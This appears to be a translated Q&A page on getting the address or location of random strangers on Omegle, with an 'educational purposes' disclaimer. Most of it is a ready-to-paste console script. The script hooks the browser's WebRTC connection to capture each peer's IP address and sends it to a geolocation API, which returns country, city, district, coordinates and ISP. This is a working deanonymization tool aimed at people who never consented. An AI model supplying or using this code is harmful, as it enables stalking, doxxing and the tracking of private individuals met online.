如何在 omegle 上获得 address/location 个随机人?

How to get address/location of a random person on omegle?

Omegle 是一个可以与随机的人联系的平台。我想获取我在 Omegle 上联系的每个随机人的位置。

这只是为了教育目的

  1. 你需要一个API可以根据IP地址给出地址。转到 https://ipgeolocation.io/,免费注册,获取密钥,并在 URL.
  2. 中的 YOURKEY 中替换为以下代码
  3. 转到https://www.omegle.com/,打开开发人员选项,将代码粘贴到控制台中。您将获得每个相关人员的地址。
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function(...args){
    const pc = new window.oRTCPeerConnection(...args);
    pc.oaddIceCandidate = pc.addIceCandidate;
    pc.addIceCandidate = function(iceCandidate, ...rest){
        const fields = iceCandidate.candidate.split(" ");
        console.log(iceCandidate.candidate);
        const ip = fields[4];
        if (fields[7]==="srflx"){
            getlocation(ip);
        }
        return pc.oaddIceCandidate(iceCandidate, ...rest);
    };
    return pc;
}


const getlocation = async(ip) =>{
    let url = `https://api.ipgeolocation.io/ipgeo?apiKey=YOURKEY&ip=${ip}`;
    await fetch(url).then((response)=>
    response.json().then((json) => {

        

        const output = `
        .............................
        Country: ${json.country_name}
        State: ${json.state_prov}
        City: ${json.city}
        District: ${json.district}
        LAT/LONG: (${json.latitude} , ${json.longitude})
        provider: ${json.isp}
        ..................................`;
    
    console.log(output);

})
);
};